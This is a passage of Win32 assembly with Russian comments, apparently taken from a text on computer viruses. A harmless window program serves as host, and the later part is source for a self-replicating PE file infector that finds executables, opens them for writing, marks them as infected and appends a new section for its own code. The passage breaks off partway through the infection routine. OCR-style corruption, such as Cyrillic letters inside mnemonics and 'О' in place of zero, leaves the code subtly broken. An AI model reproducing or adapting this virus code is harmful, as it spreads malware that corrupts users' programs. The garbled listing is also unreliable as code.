push L 0
call LoadIcon
mov [wc.clsHIcon],eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor],eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрирем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPEEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class Name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd],eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение,
;то завершаем обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Предаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выходим из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. запишем эти регистры после "uses" в строке "proc"
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi,hwnd:DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)wmpaint:
;Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
;доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
; Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
; Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
; Закроем поток
push L О
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
;0бновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
[Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [Iparam]
mov [(MINMAXINFO ptr. ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII-формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES-.EDI
HexWriteS proc
;Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah,al
and al.0Fh
shr ah,4
;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
;соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
;Меняем полубайты местами, чтобы регистр АН содержал младший
;полубайт, а регистр AL - старший
xchg al.ah
;Проверим, надо ли корректировать младший полубайт,
;если да - корректируем
cmp ah, 39h
ja @@4
;Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
;Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, "A"-10
jmp @@2
;Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, "A"-10
jmp @@1
HexWriteS endp
; Процедура перевода слова в ASCII-формат для печати.
;Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека
push ax
;Загрузим старший байт в регистр AL
xchg al,ah
;Переведем старший байт в ASCII-формат
call HexWriteS
;Восстановим младший байт из стека
pop ax
;Переведем младший байт в ASCII-формат
call HexWriteS
ret
HexWrite16 endp
;Процедура перевода двойного слова в ASCII-формат для печати.
;Значение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
;Сохраним младшее слово из стека
push eax
;Загрузим старшее слово в регистр АХ
shr eax, 16
;Переведем старшее слово в ASCII-формат
call HexWrite16
;Восстановим младшее слово из стека
pop eax
;Переведем младшее слово в ASCII-формат
call HexWrite16
ret
HexWrite32 endp
;Сделаем процедуру WndProc доступной извне
public WndProc
ends
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg
vstart: *
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax,ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке
push eax
;Вычислим стартовый адрес вирусного кода
sub ebp,offset recalc
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
;Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
; Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
;Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
;Сохраним адрес KERNEL
mov [ebp+offset kern],eax
cld
;3апомним текущую директорию
lea eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir
;Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax, [ebp+offset win32_data_thang]
push eax
lea eax, [ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
Проверим, найден ли файл. Если файл не найден,
;меняем директорию
cmp еах,-1
jz foundnothing
;0ткроем файл для чтения и записи
gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax, [ebp+offset fullname]
push eax
call CreateFile
;Сохраним описатель файла
mov dword ptr [ebp+offset ahand],eax
;Проверим, не произошла ли ошибка.
;Если ошибка произошла, ищем следующий файл
сmр еах,-1
jz findnextone
;Доставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка
push О
push О
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем адрес РЕ-заголовка
push О
lea eax,[ebp+offset bytesread]
push eax
push 4
lea eax, [ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов
push 0
lea eax, [ebp+offset bytesread]
push eax
push 58h
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader], 00004550h;
jnz notape
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],OFOODh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем весь РЕ-заголовок и таблицу объектов
push О
lea eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;становим признак заражения
mov word ptr [ebp+offset peheader+4ch],OFOODh
;Найдем смещение таблицы объектов
xor eax,eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
;Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax, [ebp+offset peheader]
add esi,eax
xor eax.eax
mov ax, [ebp+offset numObj]
mov ecx,40
xor edx.edx
mul ecx
add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend-vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend-vstart+1000h
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor edx,edx